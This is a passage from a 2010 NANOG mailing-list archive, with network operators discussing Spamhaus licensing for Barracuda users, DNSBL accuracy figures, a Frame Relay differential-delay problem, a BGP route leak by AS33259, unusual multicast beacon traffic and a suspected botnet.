volume is automatically assumed to be very large, if you use a dedicated anti-spam server/appliance of any type. It would appear that the logic is: "everyone who has a low volume of mail MUST perform all spam filtering on the mail server, and not have any separate machine dedicated to spam filtering". http://www.spamhaus.org/faq/answers.lasso?section=Datafeed%20FAQ#153 " If your email volume is big enough that you need a Barracuda or similar spam filter appliance, then you certainly CAN NOT use Spamhaus's free public DNSBL servers. " Except that Baracuda appliances do not use the Spamhaus list, unless the spam firewall admin manually makes a decision to add one of the Spamhaus listss as a custom DNSBL. Baracuda _used_ to use Spamhaus by default. They stopped using it by default in version 3.5.12, in July of 2008. http://www.barracudanetworks.com/ns/support/tech_alert.php "The Barracuda Spam Firewall used to enable Spamhaus external block lists by default when usage of those lists was free to all Internet users. Now that Spamhaus is seeking license fees from some Internet users, this change is being made to remove the previous default settings" -- -J From jlewis at lewis.org Thu Feb 18 19:20:01 2010 From: jlewis at lewis.org (Jon Lewis) Date: Thu, 18 Feb 2010 20:20:01 -0500 (EST) Subject: Spamhaus... In-Reply-To: <6eb799ab1002181619pc6329flf7a0ebc762b39de2@mail.gmail.com> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <4B7D9942.4000608@sorbs.net> <4B7D3440.33E4.0097.0@globalstar.com> <4B7DB5D5.1030206@cox.net> <6eb799ab1002181619pc6329flf7a0ebc762b39de2@mail.gmail.com> Message-ID: On Thu, 18 Feb 2010, James Hess wrote: > According to the Spamhaus web site, Your mail volume is automatically > assumed to be very large, if you use a dedicated anti-spam > server/appliance of any type. It would appear that the logic is: > "everyone who has a low volume of mail MUST perform all spam > filtering on the mail server, and not have any separate machine > dedicated to spam filtering". If your mail volume is large enough that it made sense to shell out a grand to a few grand for a "spam firewall" and several hundred $ per year for updates, is it wrong for Spamhaus to want you to pay them too (if you want to use their data to improve your spam filtering)? The yearly fee for small corporate query access (up to a few hundred users) is less than you'd pay for a year of updates on a "spam firewall". ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From Joel.Snyder at Opus1.COM Thu Feb 18 19:50:39 2010 From: Joel.Snyder at Opus1.COM (Joel M Snyder) Date: Thu, 18 Feb 2010 18:50:39 -0700 Subject: Spamhaus and Barracuda Networks BRBL In-Reply-To: References: Message-ID: <4B7DEE6F.3020408@opus1.com> Dean Drako wrote: >We make no claims about it being better >or worse than any other RBL. I have some objective data based on our testing here. Over the past 18 months, Barracuda's block rate is 81.9%, while Spamhaus' is 83.3%. For whatever measurement error you want to include, that says that they are roughly equivalent. Over the past 6 months, BRBL is actually getting better: their block rate is 87%, while Spamhaus is 82%. There is, of course, a catch. BRBL gets a higher rate, but at a substantially higher false positive (FP) rate. We normalize FPs per 10,000 messages our measurements. Over the last 18 months, BRBL was 4.1 FP/10K messages; Spamhaus 0.2 FP/10K messages. Again, BRBL is getting better: over the past 6 months, BRBL went down to 1.6 FP/10K messages, while Spamhaus is about the same at 0.3 FP/10K messages. So, depending on your definition of "better," you could either say "BRBL is better" or "BRBL is worse." It would generally depend on your sensitivity to FPs. jms -- Joel M Snyder, 1404 East Lind Road, Tucson, AZ, 85719 Senior Partner, Opus One Phone: +1 520 324 0494 jms at Opus1.COM http://www.opus1.com/jms From johns at sstar.com Thu Feb 18 20:38:26 2010 From: johns at sstar.com (John Souvestre) Date: Thu, 18 Feb 2010 20:38:26 -0600 Subject: Spamhaus and Barracuda Networks BRBL In-Reply-To: <4B7DEE6F.3020408@opus1.com> References: <4B7DEE6F.3020408@opus1.com> Message-ID: <5307092DE69E4A439BAC133A4FF20191@JohnS> Hello Joel. > I have some objective data based on our testing here. Over the past 18 > months, Barracuda's block rate is 81.9%, while Spamhaus' is 83.3%. For > whatever measurement error you want to include, that says that they are > roughly equivalent. Over the past 6 months, BRBL is actually getting > better: their block rate is 87%, while Spamhaus is 82%. > > There is, of course, a catch. BRBL gets a higher rate, but at a > substantially higher false positive (FP) rate. We normalize FPs per > 10,000 messages our measurements. Over the last 18 months, BRBL was 4.1 > FP/10K messages; Spamhaus 0.2 FP/10K messages. Again, BRBL is getting > better: over the past 6 months, BRBL went down to 1.6 FP/10K messages, > while Spamhaus is about the same at 0.3 FP/10K messages. Your numbers reflect what I see, too. One other thing to note is that the two services don't catch exactly the same spam, so using both results in better trapping than either one alone. John John Souvestre - New Orleans LA From rbk at mnsginc.com Thu Feb 18 21:54:57 2010 From: rbk at mnsginc.com (R. Benjamin Kessler) Date: Thu, 18 Feb 2010 22:54:57 -0500 Subject: MLFR Differential Delay Problems Message-ID: <0B608FCDCF43BF4C9194C896C532024371A4D4@mnsg-svr2.mnsg.net> Hello NANOGers - I'm working on a project to migrate a customer from one "Tier 1" provider to another at 50+ locations (all domestic US sites). Most of these connections are 4xT1 multi-link bundles. The old router configuration was MLPPP which was rock-solid for 3 years (save for the typical "last-mile" circuit issues, fiber-cuts, etc.). The new carrier uses FRF.16 multi-link Frame Relay vs. MLPPP. We've completed the migration on 10+ sites and all of them are now reporting errors like the following: Feb 17 21:01:39 /kernel: MFR bundle ls-0/0/0:0 link t1-1/0/0 differential 91.7 ms over yellow differential delay 75 ms Feb 17 21:01:50 /kernel: MFR bundle ls-0/0/0:0 link t1-1/0/0 differential 115.9 ms over yellow differential delay 75 ms Feb 17 21:01:50 /kernel: MFR bundle ls-0/0/0:0 link t1-1/0/1 differential 79.0 ms over yellow differential delay 75 ms Feb 17 21:01:50 /kernel: MFR bundle ls-0/0/0:0 link t1-2/0/1 differential 79.1 ms over yellow differential delay 75 ms Feb 17 21:01:50 /kernel: MFR bundle ls-0/0/0:0 link t1-1/0/1 differential 97.4 ms over yellow differential delay 75 ms Feb 17 21:01:50 /kernel: MFR bundle ls-0/0/0:0 link t1-2/0/0 differential 97.5 ms over yellow differential delay 75 ms Feb 17 21:01:50 /kernel: MFR bundle ls-0/0/0:0 link t1-2/0/1 differential 97.5 ms over yellow differential delay 75 ms Feb 17 21:01:52 /kernel: MFR bundle ls-0/0/0:0 link t1-1/0/1 differential 97.4 ms over yellow differential delay 75 ms Feb 17 21:01:52 /kernel: MFR bundle ls-0/0/0:0 link t1-2/0/0 differential 97.5 ms over yellow differential delay 75 ms Feb 17 21:01:52 /kernel: MFR bundle ls-0/0/0:0 link t1-2/0/1 differential 97.5 ms over yellow differential delay 75 ms Feb 17 21:01:53 /kernel: MFR bundle ls-0/0/0:0 link t1-1/0/1 differential 90.0 ms over yellow differential delay 75 ms Feb 17 21:01:53 /kernel: MFR bundle ls-0/0/0:0 link t1-2/0/1 differential 100.0 ms over yellow differential delay 75 ms The customer routers are all Juniper J6350; I believe the Carrier's routers are all Cisco GSRs. Advanced JTAC says that our configurations are solid and that there are no known bugs that would exhibit behavior like this. The carrier is insisting on performing physical-level tests of the circuits (even though they're running error free) before they'll engage higher-level engineers so I'm currently in a holding pattern awaiting those results. My Google-foo is failing me and I'm not able to find any documents that help explain what may be causing this and how to troubleshoot and find an eventual solution. I would really appreciate any tips or suggestions from anyone on the list that may have seen issues like this in the past. Thanks, Ben From matthew at sorbs.net Fri Feb 19 01:21:51 2010 From: matthew at sorbs.net (Michelle Sullivan) Date: Fri, 19 Feb 2010 08:21:51 +0100 Subject: Spamhaus... In-Reply-To: <4B7D3440.33E4.0097.0@globalstar.com> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <4B7D9942.4000608@sorbs.net> <4B7D3440.33E4.0097.0@globalstar.com> Message-ID: <4B7E3C0F.9050708@sorbs.net> Crist Clark wrote: >>>> On 2/18/2010 at 11:47 AM, Michelle Sullivan wrote: >>>> >> Crist Clark wrote: >> >>> We received such a message from a Spamhaus Datafeed reseller >>> and eventually had our DNS servers blocked. What angered me was >>> that I analyzed our usage, and we were well below the thresholds >>> and met the TOS published at the Spamhaus website for no-cost use. >>> However, they said we had to subscribe to the Datafeed despite >>> that because we have a Barracuda appliance. >>> >>> >> Well aside from I remember reading that they look for Barracuda >> Appliances*, it does say on: >> http://www.spamhaus.org/organization/dnsblusage.html >> >> *Definition: "non-commercial use" is use for any purpose other than as >> part or all of a product or service that is resold, or for use of which >> a fee is charged. For example, using our DNSBLs in a commercial spam >> filtering appliance that is then sold to others requires a data feed, >> regardless of use volume. The same is true of commercial spam filtering >> software and commercial spam filtering services. >> > > We do not fit into that. We are not selling an appliance or service > to others (the 'Cuda is for our internal corporate email only, not > customers). If we were still using my home-built SpamAssassin system, > it'd be OK to use Spamhaus. Now that we've purchased an appliance > and manually added a Spamhaus to the user-customizable DNSBL list > on it, it's not OK? > > To use a phrase that I use for myself on SORBS... Their list their rules. If you don't like the rules, don't use the list. They've stated you have an appliance and regardless of volume, you are not 'non commercial' and have to pay a license. It's their list and their license, so you cannot fault them for that no matter how much you disagree with it. Michelle Michelle From matthew at sorbs.net Fri Feb 19 01:26:27 2010 From: matthew at sorbs.net (Michelle Sullivan) Date: Fri, 19 Feb 2010 08:26:27 +0100 Subject: several messages In-Reply-To: <09726D88-3CEB-4D0D-872F-5982081EA3B0@ianai.net> References: <4B7D9FF4.9050904@sorbs.net> <09726D88-3CEB-4D0D-872F-5982081EA3B0@ianai.net> Message-ID: <4B7E3D23.20503@sorbs.net> Patrick W. Gilmore wrote: > > Dean e-mails lots of people directly and CC's the list with his .. uh .. missives. The list members do not see it, just the people individual on the To or CC lines see it. > > When you reply to the list, /then/ people on the list see it. > > I am replying to the list because I want to educate people. The next time someone gets e-mail from Dean, please do not reply to NANOG. > > My bad, I didn't realise I was in the CC list (in fact I specifically went back to check). Sorry all, it won't happen again. Michelle From matthew at sorbs.net Fri Feb 19 01:44:14 2010 From: matthew at sorbs.net (Michelle Sullivan) Date: Fri, 19 Feb 2010 08:44:14 +0100 Subject: Spamhaus... In-Reply-To: <4B7D3440.33E4.0097.0@globalstar.com> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <4B7D9942.4000608@sorbs.net> <4B7D3440.33E4.0097.0@globalstar.com> Message-ID: <4B7E414E.1060500@sorbs.net> Crist Clark wrote: > We do not fit into that. We are not selling an appliance or service > to others (the 'Cuda is for our internal corporate email only, not > customers). If we were still using my home-built SpamAssassin system, > it'd be OK to use Spamhaus. Now that we've purchased an appliance > and manually added a Spamhaus to the user-customizable DNSBL list > on it, it's not OK? > I knew I had read it somewhere... http://www.spamhaus.org/faq/answers.lasso?section=Datafeed%20FAQ#153 Quote: > If you do not have a current Spamhaus Datafeed subscription, then you > are abusing Spamhaus's public DNSBL servers. If your email volume is > big enough that you need a Barracuda or similar spam filter appliance, > then you certainly CAN NOT use Spamhaus's free public DNSBL servers. > > Contrary to what you may have been told by the nice appliance > salesman, Spamhaus does not have any agreement with Barracuda for the > use of Spamhaus DNSBLs with Barracuda appliances. > > Because Spamhaus's public DNSBL servers get heavily abused by > companies with spam filter appliances, mostly Barracuda appliances, > Spamhaus has implemented a control system on the public DNSBL servers > to flag and firewall such users and Barracuda appliances in particular. Michelle From sarah.nataf at gmail.com Fri Feb 19 03:55:33 2010 From: sarah.nataf at gmail.com (Sarah Nataf) Date: Fri, 19 Feb 2010 10:55:33 +0100 Subject: Tahiti's OPT ASN? In-Reply-To: <20100218151520.B5C14820@resin17.mta.everyone.net> References: <20100218151520.B5C14820@resin17.mta.everyone.net> Message-ID: <6bc56941002190155h6acd0b59hb9acd363848ddc31@mail.gmail.com> On Fri, Feb 19, 2010 at 12:15 AM, Scott Weeks wrote: > > Anyone got the ASN of Office des Postes et T?l?communications in French Polynesia? I'm having a heck of a time looking for it in APNIC. > I'm not sure whether the OPT from French Polynesia has its own ASN as it owns the operator named Mana. Maybe you should have a look to AS 9471: MANA-PF-AP MANA S.A. Regards, -- sarah From maz at iij.ad.jp Fri Feb 19 05:05:10 2010 From: maz at iij.ad.jp (Matsuzaki Yoshinobu) Date: Fri, 19 Feb 2010 20:05:10 +0900 (JST) Subject: AS33259 leaking Message-ID: <20100219.200510.196420668.maz@iij.ad.jp> Hi, Does anyone know a contact for AS33259? It seems the AS33259 is leaking a bunch of prefixes in error, and this caused reachability problems. ----- Matsuzaki Yoshinobu - IIJ/AS2497 INOC-DBA: 2497*629 From tony at lava.net Fri Feb 19 05:34:27 2010 From: tony at lava.net (Antonio Querubin) Date: Fri, 19 Feb 2010 01:34:27 -1000 (HST) Subject: multicast beacon group seeing extremely high traffic Message-ID: Any multicast networks seeing a large amount of traffic for the beacon group 233.4.200.18? Starting approximately 0730 GMT, we started receiving more than 12 Mbps for that group which normally is far less. Group: 233.4.200.18, (?) Source: 64.251.63.189 (mcast.cen.ct.gov) Rate: 1095 pps/606 kbps(1sec), 567 kbps(last 30 secs), 631 kbps(life avg) Source: 128.105.40.15 (mbone-test.cs.wisc.edu) Rate: 1020 pps/553 kbps(1sec), 405 kbps(last 40 secs), 450 kbps(life avg) Source: 128.109.1.249 (ws-beacon.ncren.net) Rate: 846 pps/364 kbps(1sec), 349 kbps(last 40 secs), 384 kbps(life avg) Source: 128.109.3.228 (wil-beacon.ncren.net) Rate: 786 pps/339 kbps(1sec), 203 kbps(last 40 secs), 241 kbps(life avg) Source: 128.109.16.117 (gb-beacon.ncren.net) Rate: 758 pps/326 kbps(1sec), 306 kbps(last 40 secs), 328 kbps(life avg) Source: 128.109.58.21 (ecu-beacon.ncren.net) Rate: 509 pps/221 kbps(1sec), 297 kbps(last 40 secs), 331 kbps(life avg) Source: 128.135.122.108 (g217display.bsd.uchicago.edu) Rate: 840 pps/495 kbps(1sec), 376 kbps(last 40 secs), 442 kbps(life avg) Source: 128.182.160.60 (arsenal.psc.edu) Rate: 1084 pps/595 kbps(1sec), 280 kbps(last 40 secs), 366 kbps(life avg) Source: 129.78.221.17 (crayon.ucc.usyd.edu.au) Rate: 9 pps/4 kbps(1sec), 4 kbps(last 40 secs), 5 kbps(life avg) Source: 129.96.120.11 (?) Rate: 9 pps/4 kbps(1sec), 3 kbps(last 40 secs), 4 kbps(life avg) Source: 129.127.96.120 (beacon.sapac.edu.au) Rate: 10 pps/5 kbps(1sec), 5 kbps(last 40 secs), 5 kbps(life avg) Source: 130.102.78.179 (vv2.vislab.uq.edu.au) Rate: 10 pps/5 kbps(1sec), 6 kbps(last 40 secs), 6 kbps(life avg) Source: 130.207.166.66 (pulsar.noc.gatech.edu) Rate: 843 pps/364 kbps(1sec), 346 kbps(last 40 secs), 360 kbps(life avg) Source: 130.220.64.249 (dawn.ml.unisa.edu.au) Rate: 8 pps/4 kbps(1sec), 4 kbps(last 50 secs), 5 kbps(life avg) Source: 134.129.95.122 (netmenderx.cc.ndsu.NoDak.edu) Rate: 1094 pps/608 kbps(1sec), 314 kbps(last 50 secs), 342 kbps(life avg) Source: 138.23.2.53 (kaon.ucr.edu) Rate: 20 pps/13 kbps(1sec), 10 kbps(last 50 secs), 10 kbps(life avg) Source: 139.86.2.226 (?) Rate: 11 pps/7 kbps(1sec), 5 kbps(last 50 secs), 6 kbps(life avg) Source: 141.142.2.55 (jhereg.ncsa.uiuc.edu) Rate: 999 pps/670 kbps(1sec), 360 kbps(last 50 secs), 400 kbps(life avg) Source: 144.174.29.10 (accessgrid.sc.fsu.edu) Rate: 1158 pps/730 kbps(1sec), 531 kbps(last 50 secs), 553 kbps(life avg) Source: 144.174.29.11 (ag1.sc.fsu.edu) Rate: 878 pps/637 kbps(1sec), 487 kbps(last 50 secs), 532 kbps(life avg) Source: 144.174.29.12 (ag2.sc.fsu.edu) Rate: 232 pps/102 kbps(1sec), 411 kbps(last 50 secs), 428 kbps(life avg) Source: 152.2.255.225 (beacon.net.unc.edu) Rate: 853 pps/619 kbps(1sec), 413 kbps(last 50 secs), 459 kbps(life avg) Source: 155.98.194.254 (ebc.mc-beacon.utah.edu) Rate: 1074 pps/658 kbps(1sec), 447 kbps(last 50 secs), 447 kbps(life avg) Source: 155.101.3.100 (multicast.chpc.utah.edu) Rate: 476 pps/333 kbps(1sec), 339 kbps(last 50 secs), 388 kbps(life avg) Source: 161.45.190.10 (ns-beacon.mtsu.edu) Rate: 947 pps/534 kbps(1sec), 474 kbps(last 50 secs), 439 kbps(life avg) Source: 192.17.24.169 (faranth.ci.uiuc.edu) Rate: 939 pps/591 kbps(1sec), 426 kbps(last 50 secs), 442 kbps(life avg) Source: 192.43.244.8 (npad.ucar.edu) Rate: 1157 pps/716 kbps(1sec), 574 kbps(last 50 secs), 612 kbps(life avg) Source: 192.65.130.134 (black.ivec.org) Rate: 11 pps/7 kbps(1sec), 7 kbps(last 0 secs), 5 kbps(life avg) Source: 192.88.114.244 (nic.3rox.net) Rate: 962 pps/548 kbps(1sec), 548 kbps(last 0 secs), 453 kbps(life avg) Source: 205.127.87.150 (zoot.uen.net) Rate: 1100 pps/611 kbps(1sec), 611 kbps(last 0 secs), 512 kbps(life avg) Antonio Querubin 808-545-5282 x3003 e-mail/xmpp: tony at lava.net From maz at iij.ad.jp Fri Feb 19 06:06:04 2010 From: maz at iij.ad.jp (Matsuzaki Yoshinobu) Date: Fri, 19 Feb 2010 21:06:04 +0900 (JST) Subject: AS33259 leaking In-Reply-To: <20100219.200510.196420668.maz@iij.ad.jp> References: <20100219.200510.196420668.maz@iij.ad.jp> Message-ID: <20100219.210604.244551893.maz@iij.ad.jp> Date: Fri, 19 Feb 2010 20:05:10 +0900 (JST) Matsuzaki Yoshinobu wrote > It seems the AS33259 is leaking a bunch of prefixes in error, and this > caused reachability problems. at the route-views.oregon-ix.net, it looks like '701 33259 25843 3356 ...' as follows. | * 12.147.32.0/21 157.130.10.233 0 701 33259 25843 3356 7132 14858 i | * 17.86.0.0/16 157.130.10.233 0 701 33259 25843 3356 4637 1221 714 714 714 714 714 714 i | * 17.86.132.0/22 157.130.10.233 0 701 33259 25843 3356 4637 1221 714 i | * 20.134.48.0/20 157.130.10.233 0 701 33259 25843 3356 3549 17916 i | * 20.134.144.0/20 157.130.10.233 0 701 33259 25843 3356 3549 17916 i | * 20.139.48.0/20 157.130.10.233 0 701 33259 25843 3356 3549 17916 i | * 20.139.144.0/20 157.130.10.233 0 701 33259 25843 3356 3549 17916 i | * 20.143.112.0/20 157.130.10.233 0 701 33259 25843 3356 4637 17916 i | * 20.143.128.0/20 157.130.10.233 0 701 33259 25843 3356 4637 17916 i | * 20.143.144.0/20 157.130.10.233 0 701 33259 25843 3356 4637 1221 17916 i | * 20.143.208.0/20 157.130.10.233 0 701 33259 25843 3356 4637 1221 17647 i | * 41.92.128.0/22 157.130.10.233 0 701 33259 25843 3356 5511 15964 37034 i | * 41.92.136.0/24 157.130.10.233 0 701 33259 25843 3356 5511 15964 37034 i | * 41.92.139.0/24 157.130.10.233 0 701 33259 25843 3356 5511 15964 37034 i | * 41.92.140.0/22 157.130.10.233 0 701 33259 25843 335 ----- Matsuzaki Yoshinobu - IIJ/AS2497 INOC-DBA: 2497*629 From jared at puck.nether.net Fri Feb 19 06:09:49 2010 From: jared at puck.nether.net (Jared Mauch) Date: Fri, 19 Feb 2010 07:09:49 -0500 Subject: VZ/UU/701 Accepting AS33259 leaking In-Reply-To: <20100219.210604.244551893.maz@iij.ad.jp> References: <20100219.200510.196420668.maz@iij.ad.jp> <20100219.210604.244551893.maz@iij.ad.jp> Message-ID: <746659B0-0E03-457C-B7B1-83DD34BBFF78@puck.nether.net> This appears to be ongoing. I'm seeing more updates here: http://puck.nether.net/bgp/leakinfo.cgi Some people at 701 are getting email alerts from my monitoring system. I'll ask them about this shortly. - jared On Feb 19, 2010, at 7:06 AM, Matsuzaki Yoshinobu wrote: > Date: Fri, 19 Feb 2010 20:05:10 +0900 (JST) > Matsuzaki Yoshinobu wrote >> It seems the AS33259 is leaking a bunch of prefixes in error, and this >> caused reachability problems. > > at the route-views.oregon-ix.net, it looks like '701 33259 25843 3356 > ...' as follows. > > | * 12.147.32.0/21 157.130.10.233 0 701 33259 25843 3356 7132 14858 i > | * 17.86.0.0/16 157.130.10.233 0 701 33259 25843 3356 4637 1221 714 714 714 714 714 714 i > | * 17.86.132.0/22 157.130.10.233 0 701 33259 25843 3356 4637 1221 714 i > | * 20.134.48.0/20 157.130.10.233 0 701 33259 25843 3356 3549 17916 i > | * 20.134.144.0/20 157.130.10.233 0 701 33259 25843 3356 3549 17916 i > | * 20.139.48.0/20 157.130.10.233 0 701 33259 25843 3356 3549 17916 i > | * 20.139.144.0/20 157.130.10.233 0 701 33259 25843 3356 3549 17916 i > | * 20.143.112.0/20 157.130.10.233 0 701 33259 25843 3356 4637 17916 i > | * 20.143.128.0/20 157.130.10.233 0 701 33259 25843 3356 4637 17916 i > | * 20.143.144.0/20 157.130.10.233 0 701 33259 25843 3356 4637 1221 17916 i > | * 20.143.208.0/20 157.130.10.233 0 701 33259 25843 3356 4637 1221 17647 i > | * 41.92.128.0/22 157.130.10.233 0 701 33259 25843 3356 5511 15964 37034 i > | * 41.92.136.0/24 157.130.10.233 0 701 33259 25843 3356 5511 15964 37034 i > | * 41.92.139.0/24 157.130.10.233 0 701 33259 25843 3356 5511 15964 37034 i > | * 41.92.140.0/22 157.130.10.233 0 701 33259 25843 335 > > > ----- > Matsuzaki Yoshinobu > - IIJ/AS2497 INOC-DBA: 2497*629 From rsk at gsp.org Fri Feb 19 06:12:27 2010 From: rsk at gsp.org (Rich Kulawiec) Date: Fri, 19 Feb 2010 07:12:27 -0500 Subject: Spamhaus... In-Reply-To: <4B7D0D7D.33E4.0097.0@globalstar.com> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> Message-ID: <20100219121227.GA13388@gsp.org> On Thu, Feb 18, 2010 at 09:50:59AM -0800, Crist Clark wrote: > And I want to know how they figured out we had a Barracuda. It's not that hard, much of the time -- they tend to make themselves visible via their poor behavior. As to Spamhaus policy re appliances in general, their terms are on their web site and while you or I or anyone else may not agree with or like their terms, it *is* their service to offer on the terms that they wish. And given that the Zen DNSBL is far-and-away the highest quality DNSBL available, it's probably worth paying for if one finds oneself in a situation where its use is indicated. An easy way around this is not to use an appliance: it's a straightforward exercise for any competent postmaster to build anti-spam defenses that vastly outperform [1] any appliance in an afternoon. Finally, this discussion should really be on spam-l, not nanog. ---Rsk [1] Where performance is measure in terms of acquisition cost, maintenance cost, FP, FN, bandwidth, memory, CPU, resistance to attack, scalability, etc. From randy at psg.com Fri Feb 19 06:31:05 2010 From: randy at psg.com (Randy Bush) Date: Fri, 19 Feb 2010 21:31:05 +0900 Subject: AS33259 leaking In-Reply-To: <20100219.210604.244551893.maz@iij.ad.jp> References: <20100219.200510.196420668.maz@iij.ad.jp> <20100219.210604.244551893.maz@iij.ad.jp> Message-ID: > | * 12.147.32.0/21 157.130.10.233 0 701 33259 25843 3356 7132 14858 i > | * 17.86.0.0/16 157.130.10.233 0 701 33259 25843 3356 4637 1221 714 714 714 714 714 714 i > | * 17.86.132.0/22 157.130.10.233 0 701 33259 25843 3356 4637 1221 714 i > | * 20.134.48.0/20 157.130.10.233 0 701 33259 25843 3356 3549 17916 i > | * 20.134.144.0/20 157.130.10.233 0 701 33259 25843 3356 3549 17916 i > | * 20.139.48.0/20 157.130.10.233 0 701 33259 25843 3356 3549 17916 i > | * 20.139.144.0/20 157.130.10.233 0 701 33259 25843 3356 3549 17916 i > | * 20.143.112.0/20 157.130.10.233 0 701 33259 25843 3356 4637 17916 i > | * 20.143.128.0/20 157.130.10.233 0 701 33259 25843 3356 4637 17916 i > | * 20.143.144.0/20 157.130.10.233 0 701 33259 25843 3356 4637 1221 17916 i > | * 20.143.208.0/20 157.130.10.233 0 701 33259 25843 3356 4637 1221 17647 i > | * 41.92.128.0/22 157.130.10.233 0 701 33259 25843 3356 5511 15964 37034 i > | * 41.92.136.0/24 157.130.10.233 0 701 33259 25843 3356 5511 15964 37034 i > | * 41.92.139.0/24 157.130.10.233 0 701 33259 25843 3356 5511 15964 37034 i > | * 41.92.140.0/22 157.130.10.233 0 701 33259 25843 335 level(3) must be paying 25843 a good bit of money for transit to uunet :) we would not mind if they were not also doing it for iij's prefixes :( randy From matthew at sorbs.net Fri Feb 19 08:08:40 2010 From: matthew at sorbs.net (Michelle Sullivan) Date: Fri, 19 Feb 2010 15:08:40 +0100 Subject: Spamhaus... In-Reply-To: <20100219121227.GA13388@gsp.org> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> Message-ID: <4B7E9B68.8090807@sorbs.net> Rich Kulawiec wrote: > On Thu, Feb 18, 2010 at 09:50:59AM -0800, Crist Clark wrote: > >> And I want to know how they figured out we had a Barracuda. >> > > It's not that hard, much of the time -- they tend to make > themselves visible via their poor behavior. > > Is there some very specific poor behavior you're referring to? > Finally, this discussion should really be on spam-l, not nanog. > Actually considering the original message was addressed to the 'large DNS server operators' this is probably more appropriate. Whether the non-followups in this thread should be there instead is a different issue. Michelle From drew.weaver at thenap.com Fri Feb 19 08:33:28 2010 From: drew.weaver at thenap.com (Drew Weaver) Date: Fri, 19 Feb 2010 09:33:28 -0500 Subject: New botnet launch? Message-ID: All, We noticed at around midnight for a brief period of time and around 6AM EST for an extended period that several hosted customer servers (4 completely different customers) launched quite a campaign doing 100Mbps during these times (on 100Mbps ports). The thing I find 'suspicious' is that all of the machines connected Interfaces said they were sending out 200Mbps (on 100Mbps links) and that they all had the same exact traffic profile (MRTG, etc). 5 minute input rate 213353000 bits/sec, 18516 packets/sec 5 minute output rate 583000 bits/sec, 855 packets/sec Anyone else see this or am I just very lucky? thanks, -Drew From jlewis at lewis.org Fri Feb 19 09:28:20 2010 From: jlewis at lewis.org (Jon Lewis) Date: Fri, 19 Feb 2010 10:28:20 -0500 (EST) Subject: New botnet launch? In-Reply-To: References: Message-ID: On Fri, 19 Feb 2010, Drew Weaver wrote: > All, > > We noticed at around midnight for a brief period of time and around 6AM > EST for an extended period that several hosted customer servers (4 > completely different customers) launched quite a campaign doing 100Mbps > during these times (on 100Mbps ports). > > The thing I find 'suspicious' is that all of the machines connected > Interfaces said they were sending out 200Mbps (on 100Mbps links) and > that they all had the same exact traffic profile (MRTG, etc). > > 5 minute input rate 213353000 bits/sec, 18516 packets/sec > 5 minute output rate 583000 bits/sec, 855 packets/sec If these "100Mbps ports" are 100BaseT ethernet, and your switch(es) reported them receiving 213353000 bits/sec, I'd be more suspicious of cisco counter bugs than a new botnet. 100BaseT can't do that. Cisco has a long history of writing code that can't count properly. ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From drew.weaver at thenap.com Fri Feb 19 09:49:32 2010 From: drew.weaver at thenap.com (Drew Weaver) Date: Fri, 19 Feb 2010 10:49:32 -0500 Subject: New botnet launch? In-Reply-To: References: Message-ID: Sorry, the point was that MRTG and other metrics also showed that they were doing 100Mbps, and I am well aware of counter bugs in Cisco's IOS but it has never been that out of whack (on several different switches) before, also the fact that all of these hosts are Windows 2003 and had the exact same SNMP metrics is kind of suspicious to me, but maybe I'm wrong. -----Original Message----- From: Jon Lewis [mailto:jlewis at lewis.org] Sent: Friday, February 19, 2010 10:28 AM To: Drew Weaver Cc: 'nanog at nanog.org' Subject: Re: New botnet launch? On Fri, 19 Feb 2010, Drew Weaver wrote: > All, > > We noticed at around midnight for a brief period of time and around 6AM > EST for an extended period that several hosted customer servers (4 > completely different customers) launched quite a campaign doing 100Mbps > during these times (on 100Mbps ports). > > The thing I find 'suspicious' is that all of the machines connected > Interfaces said they were sending out 200Mbps (on 100Mbps links) and > that they all had the same exact traffic profile (MRTG, etc). > > 5 minute input rate 213353000 bits/sec, 18516 packets/sec > 5 minute output rate 583000 bits/sec, 855 packets/sec If these "100Mbps ports" are 100BaseT ethernet, and your switch(es) reported them receiving 213353000 bits/sec, I'd be more suspicious of cisco counter bugs than a new botnet. 100BaseT can't do that. Cisco has a long history of writing code that can't count properly. ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From bobp+nanog at webster.tsc.com Fri Feb 19 10:40:55 2010 From: bobp+nanog at webster.tsc.com (Bob Poortinga) Date: Fri, 19 Feb 2010 11:40:55 -0500 Subject: Spamhaus and Barracuda Networks BRBL In-Reply-To: References: <72C09AE4-ED2D-4D9C-A4D1-6154A8114831@barracuda.com> Message-ID: <20100219164055.GA10390@tico.tsc.com> > Dean Drako writes: ^^^^^^^^^^^^^ > When they were providing a free service we promoted them strongly, Translation: We made money using it and it didn't cost us anything. > but when they started charging the customers that really used it, > we had to part ways. Translation: Our customers complained about being asked to pay for something that we should have paid for, but it's cheaper to let our customers hang in the wind than to pay up. Sorry, I could let this pass without comment. -- Bob Poortinga K9SQL Bloomington, Indiana US From James.Pender at PAETEC.com Fri Feb 19 10:47:02 2010 From: James.Pender at PAETEC.com (Pender, James) Date: Fri, 19 Feb 2010 11:47:02 -0500 Subject: MLFR Differential Delay Problems In-Reply-To: <0B608FCDCF43BF4C9194C896C532024371A4D4@mnsg-svr2.mnsg.net> References: <0B608FCDCF43BF4C9194C896C532024371A4D4@mnsg-svr2.mnsg.net> Message-ID: The differential delay is most likely caused by the T1's in the MFR bundle riding physically diverse paths across the TDM network. The carrier 